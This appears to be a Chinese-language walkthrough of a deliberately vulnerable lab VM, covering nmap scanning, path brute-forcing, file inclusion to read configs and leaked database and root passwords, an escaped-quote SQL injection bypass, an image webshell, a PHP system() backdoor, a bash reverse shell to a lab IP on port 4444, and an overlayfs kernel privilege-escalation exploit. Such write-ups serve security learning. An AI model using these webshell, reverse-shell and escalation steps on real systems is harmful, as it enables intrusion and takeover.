运行虚拟机直接上nmap扫描 获取靶场ip
nmap 192.168.18.*
开放端口
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
192.168.18.143 打开页面 爆破路径 得到
test.php、add.php、in.php、c.php、index.php、show.php等 猜测c.php 可以有一句话 在爆破一句话
一次打开 发现 test.php
要一个file 猜测可能是文件包含 输入
成功下载文件
in.php 是phpinfo 文件
ctril+f 搜索 SCRIPT_FILENAME 得到跟路径
把刚刚暴露的文件依次下载发现 c.php 里面有连接mysql 的账号密码 在phpmyadmin 下可能存在默认配置文件
用户名:billu密码:b0x_billu数据库名:ica_lab登录
在尝试读取phpmyadmin的默认配置文件 file=/var/www/phpmy/config.inc.php 得到mysql root 的账号密码
root密码:roottoor 既然已经获取了 他的22端口开着可以尝试登录
登录成功 root权限
这里我也可以看到原先主页的sql 注入 提示 下载源码
对单引号做了转义 这样我想起来 一个ctf 题 也是对单引号进行转义 直接利用 在单引号前面加个反斜杠对反斜杠进行转义构建slq注入语句
成功注入登录成功
进去查看页面发现 panel.php 利用任意下载漏洞 下载 在前面源码中也有包含 panel.php 文件的代码
代码审计发现 文件包含 上传一张图片马让后包含
利用之前扫描出来的路径查看 /uploaded_images/
让后直接包含
这里 可以在 马里写一个get 请求反弹shell
cmd=echo "bash -i >& /dev/tcp/192.168.64.1/4444 0>&1" | bash cmd 后门的命令需要url 编码
<?php system($_GET['cmd']); ?> 利用 system 函数执行系统命令
这里也可以利用菜刀或者蚁剑连接 打开蚁剑
连接
打开虚拟终端输入 u'na'me -a ‘不影响命令读取
(www-data:/var/www) $ u'na'me -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
可以利用linux 内核提权
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
差不多两种提权思路